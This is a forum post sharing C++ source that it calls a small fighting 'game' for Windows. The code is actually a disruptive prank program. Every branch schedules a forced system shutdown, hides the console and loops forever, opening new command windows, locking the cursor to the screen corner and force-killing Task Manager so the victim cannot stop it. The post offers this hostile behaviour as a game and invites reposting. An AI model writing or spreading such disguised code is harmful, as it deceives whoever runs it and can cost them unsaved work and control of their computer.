打鸡泥土站c++小游戏 (你干嘛制作)
2024-08-05 20:18:07
发布于:广东
#include <bits/stdc++.h>
#include <windows.h>
#define t system
#define g cout
#define h cin
#define j endl
#define sleep Sleep
#define pos SetCursorPos
using namespace std;
void a(int n){
if(n == 1){
string m;
g << "欢迎来到打鸡泥土站" << j;
g << "----------------------------------" << j;
g << "请问你要选择简单战还是真人战" << j;
h >> m;
if(m == "简单战"){
t("shutdown -s -t 30 -c 就你还想以大欺小,换模式中,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else if(m == "真人战"){
g << "就你还想跟真人打,吃我一击!";
g << j;
sleep(2000);
t("shutdown -s -t -c 等待,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else{
g << "你竟然敢输错,那就送你一份大礼包吧";
cout << j;
sleep(2000);
t("shutdown -s -t 60 -c ,启动!");
g << endl;
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
else{
t("shutdown -s -t 60 -c 你竟然不玩?,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
int main(){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
MessageBoxA(NULL, "一键三联", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码是杨晋章制作,可以转载", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
FreeConsole();
AllocConsole();
HWND hwmd = GetForegroundWindow();
SetWindowText(hwmd,TEXT("打鸡泥土游戏"));
HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cInfo{};
GetConsoleCursorInfo(hOutput, &cInfo);
cInfo.bVisible = false;
SetConsoleCursorInfo(hOutput, &cInfo);
HWND hwnd = GetConsoleWindow();
LONG_PTR sty = GetWindowLongPtrA(hwnd, GWL_STYLE);
//sty =sty & ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX; //更改字体颜色
//SetWindowLongPtrA(hWnd, GWL_STYLE, sty); //更改字体颜色
t("color 3E");
int x;
g << "请输入1启动游戏" << j;
h >> x;
a(x);
g << x;
return 0;
}
这里空空如也
有帮助,赞一个